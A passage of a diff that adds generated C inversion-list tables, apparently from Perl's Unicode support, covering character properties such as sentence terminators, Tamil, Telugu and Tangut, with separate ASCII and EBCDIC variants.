+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_STERM_invlist[] = { /* for ASCII/Latin1 */
+	137,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x22,
+	0x2E,
+	0x2F,
+	0x3F,
+	0x40,
+	0x589,
+	0x58A,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x703,
+	0x7F9,
+	0x7FA,
+	0x964,
+	0x966,
+	0x104A,
+	0x104C,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x166E,
+	0x166F,
+	0x1735,
+	0x1737,
+	0x1803,
+	0x1804,
+	0x1809,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1C3B,
+	0x1C3D,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x3002,
+	0x3003,
+	0xA4FF,
+	0xA500,
+	0xA60E,
+	0xA610,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C8,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE52,
+	0xFE53,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF0E,
+	0xFF0F,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0x10A56,
+	0x10A58,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144D,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11C41,
+	0x11C43,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B39,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA88,
+	0x1DA89
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_STERM_invlist[] = { /* for EBCDIC 1047 */
+	137,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5A,
+	0x5B,
+	0x6F,
+	0x70,
+	0x589,
+	0x58A,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x703,
+	0x7F9,
+	0x7FA,
+	0x964,
+	0x966,
+	0x104A,
+	0x104C,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x166E,
+	0x166F,
+	0x1735,
+	0x1737,
+	0x1803,
+	0x1804,
+	0x1809,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1C3B,
+	0x1C3D,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x3002,
+	0x3003,
+	0xA4FF,
+	0xA500,
+	0xA60E,
+	0xA610,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C8,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE52,
+	0xFE53,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF0E,
+	0xFF0F,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0x10A56,
+	0x10A58,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144D,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11C41,
+	0x11C43,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B39,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA88,
+	0x1DA89
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_STERM_invlist[] = { /* for EBCDIC 037 */
+	137,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5A,
+	0x5B,
+	0x6F,
+	0x70,
+	0x589,
+	0x58A,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x703,
+	0x7F9,
+	0x7FA,
+	0x964,
+	0x966,
+	0x104A,
+	0x104C,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x166E,
+	0x166F,
+	0x1735,
+	0x1737,
+	0x1803,
+	0x1804,
+	0x1809,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1C3B,
+	0x1C3D,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x3002,
+	0x3003,
+	0xA4FF,
+	0xA500,
+	0xA60E,
+	0xA610,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C8,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE52,
+	0xFE53,
+	0xFE56,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF0E,
+	0xFF0F,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0x10A56,
+	0x10A58,
+	0x11047,
+	0x11049,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144D,
+	0x115C2,
+	0x115C4,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11C41,
+	0x11C43,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B39,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA88,
+	0x1DA89
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SUND_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B80,
+	0x1BC0,
+	0x1CC0,
+	0x1CC8
+};
+
+static const UV PL_SUNDANESESUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1CC0,
+	0x1CD0
+};
+
+static const UV PL_SUPARROWSA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x27F0,
+	0x2800
+};
+
+static const UV PL_SUPARROWSB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2900,
+	0x2980
+};
+
+static const UV PL_SUPARROWSC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F800,
+	0x1F900
+};
+
+static const UV PL_SUPERANDSUB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2070,
+	0x20A0
+};
+
+static const UV PL_SUPMATHOPERATORS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2A00,
+	0x2B00
+};
+
+static const UV PL_SUPPUAA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0000,
+	0x100000
+};
+
+static const UV PL_SUPPUAB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x100000,
+	0x110000
+};
+
+static const UV PL_SUPPUNCTUATION_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2E00,
+	0x2E80
+};
+
+static const UV PL_SUPSYMBOLSANDPICTOGRAPHS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F900,
+	0x1FA00
+};
+
+static const UV PL_SUTTONSIGNWRITING_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D800,
+	0x1DAB0
+};
+
+static const UV PL_SYLO_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x964,
+	0x966,
+	0x9E6,
+	0x9F0,
+	0xA800,
+	0xA82C
+};
+
+static const UV PL_SYRC_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61D,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x656,
+	0x670,
+	0x671,
+	0x700,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x750,
+	0x860,
+	0x86B
+};
+
+static const UV PL_SYRIACSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x860,
+	0x870
+};
+
+static const UV PL_TAGB_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1735,
+	0x1737,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774
+};
+
+static const UV PL_TAGS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE0000,
+	0xE0080
+};
+
+static const UV PL_TAIXUANJING_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D300,
+	0x1D360
+};
+
+static const UV PL_TAKR_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x964,
+	0x966,
+	0xA830,
+	0xA83A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA
+};
+
+static const UV PL_TALE_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1040,
+	0x104A,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975
+};
+
+static const UV PL_TALU_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x19E0
+};
+
+static const UV PL_TAML_invlist[] = { /* for all charsets */
+	47,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0x1CDA,
+	0x1CDB,
+	0xA8F3,
+	0xA8F4,
+	0x11301,
+	0x11302,
+	0x11303,
+	0x11304,
+	0x1133C,
+	0x1133D
+};
+
+static const UV PL_TANG_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16FE0,
+	0x16FE1,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3
+};
+
+static const UV PL_TANGUTCOMPONENTS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x18800,
+	0x18B00
+};
+
+static const UV PL_TAVT_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0
+};
+
+static const UV PL_TELU_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80,
+	0x1CDA,
+	0x1CDB
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_TERM_invlist[] = { /* for ASCII/Latin1 */
+	195,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x22,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x2F,
+	0x3A,
+	0x3C,
+	0x3F,
+	0x40,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x589,
+	0x58A,
+	0x5C3,
+	0x5C4,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70B,
+	0x70C,
+	0x70D,
+	0x7F8,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0xE5A,
+	0xE5C,
+	0xF08,
+	0xF09,
+	0xF0D,
+	0xF13,
+	0x104A,
+	0x104C,
+	0x1361,
+	0x1369,
+	0x166D,
+	0x166F,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17DA,
+	0x17DB,
+	0x1802,
+	0x1806,
+	0x1808,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B60,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x2E41,
+	0x2E42,
+	0x3001,
+	0x3003,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA6F3,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C7,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAADF,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF65,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x10A56,
+	0x10A58,
+	0x10AF0,
+	0x10AF6,
+	0x10B3A,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144E,
+	0x1145B,
+	0x1145C,
+	0x115C2,
+	0x115C6,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11AA1,
+	0x11AA3,
+	0x11C41,
+	0x11C44,
+	0x11C71,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_TERM_invlist[] = { /* for EBCDIC 1047 */
+	197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5A,
+	0x5B,
+	0x5E,
+	0x5F,
+	0x6B,
+	0x6C,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7B,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x589,
+	0x58A,
+	0x5C3,
+	0x5C4,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70B,
+	0x70C,
+	0x70D,
+	0x7F8,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0xE5A,
+	0xE5C,
+	0xF08,
+	0xF09,
+	0xF0D,
+	0xF13,
+	0x104A,
+	0x104C,
+	0x1361,
+	0x1369,
+	0x166D,
+	0x166F,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17DA,
+	0x17DB,
+	0x1802,
+	0x1806,
+	0x1808,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B60,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x2E41,
+	0x2E42,
+	0x3001,
+	0x3003,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA6F3,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C7,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAADF,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF65,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x10A56,
+	0x10A58,
+	0x10AF0,
+	0x10AF6,
+	0x10B3A,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144E,
+	0x1145B,
+	0x1145C,
+	0x115C2,
+	0x115C6,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11AA1,
+	0x11AA3,
+	0x11C41,
+	0x11C44,
+	0x11C71,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_TERM_invlist[] = { /* for EBCDIC 037 */
+	197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5A,
+	0x5B,
+	0x5E,
+	0x5F,
+	0x6B,
+	0x6C,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7B,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x589,
+	0x58A,
+	0x5C3,
+	0x5C4,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70B,
+	0x70C,
+	0x70D,
+	0x7F8,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0xE5A,
+	0xE5C,
+	0xF08,
+	0xF09,
+	0xF0D,
+	0xF13,
+	0x104A,
+	0x104C,
+	0x1361,
+	0x1369,
+	0x166D,
+	0x166F,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17DA,
+	0x17DB,
+	0x1802,
+	0x1806,
+	0x1808,
+	0x180A,
+	0x1944,
+	0x1946,
+	0x1AA8,
+	0x1AAC,
+	0x1B5A,
+	0x1B5C,
+	0x1B5D,
+	0x1B60,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x203C,
+	0x203E,
+	0x2047,
+	0x204A,
+	0x2E2E,
+	0x2E2F,
+	0x2E3C,
+	0x2E3D,
+	0x2E41,
+	0x2E42,
+	0x3001,
+	0x3003,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA6F3,
+	0xA6F8,
+	0xA876,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA92F,
+	0xA930,
+	0xA9C7,
+	0xA9CA,
+	0xAA5D,
+	0xAA60,
+	0xAADF,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE58,
+	0xFF01,
+	0xFF02,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF20,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0xFF65,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x10A56,
+	0x10A58,
+	0x10AF0,
+	0x10AF6,
+	0x10B3A,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BE,
+	0x110C2,
+	0x11141,
+	0x11144,
+	0x111C5,
+	0x111C7,
+	0x111CD,
+	0x111CE,
+	0x111DE,
+	0x111E0,
+	0x11238,
+	0x1123D,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x1144E,
+	0x1145B,
+	0x1145C,
+	0x115C2,
+	0x115C6,
+	0x115C9,
+	0x115D8,
+	0x11641,
+	0x11643,
+	0x1173C,
+	0x1173F,
+	0x11A42,
+	0x11A44,
+	0x11A9B,
+	0x11A9D,
+	0x11AA1,
+	0x11AA3,
+	0x11C41,
+	0x11C44,
+	0x11C71,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3A,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8B
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_TFNG_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D80
+};
+
+static const UV PL_TGLG_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
